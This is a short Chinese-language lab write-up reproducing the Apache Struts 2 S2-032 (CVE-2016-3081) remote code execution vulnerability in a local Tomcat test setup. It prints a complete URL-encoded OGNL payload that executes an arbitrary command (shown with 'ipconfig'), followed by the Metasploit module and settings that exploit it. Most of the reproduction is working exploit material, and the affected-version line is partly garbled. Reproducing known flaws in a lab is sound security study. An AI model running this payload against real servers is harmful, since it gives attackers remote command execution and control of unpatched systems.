漏洞描述:
Apache Struts 2是Java Web服务器框架之一。S2-032远程代码执行漏洞可以直接执行任意代码,上传文件,执行远程命令,控制服务器。
漏洞范围:
Struts2 2.0.0 -2.3.28( 2.2.3(2.3.20.2和2.3.42.2不受影响)
漏洞复现:
实验环境:windows7虚拟机、tomcat 8.0.53、struts-2.3.24
下载有漏洞版本的struts框架。
下载地址:http://archive.apache.org/dist/struts/2.3.24/
解压后将文件struts2-showcase.war拷贝到tomcat目录下webapps。
启动tomcat服务,进行正常访问。
使用公开的POC进行测试该环境是否有漏洞。
method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig
证明漏洞存在,使用metasploit再次进行测试。
search cve-2016-3081
use exploit/multi/http/struts_dmi_exec
set rhost 192.168.72.138
set TARGETURI /struts2-showcase/home.action
set target 0
run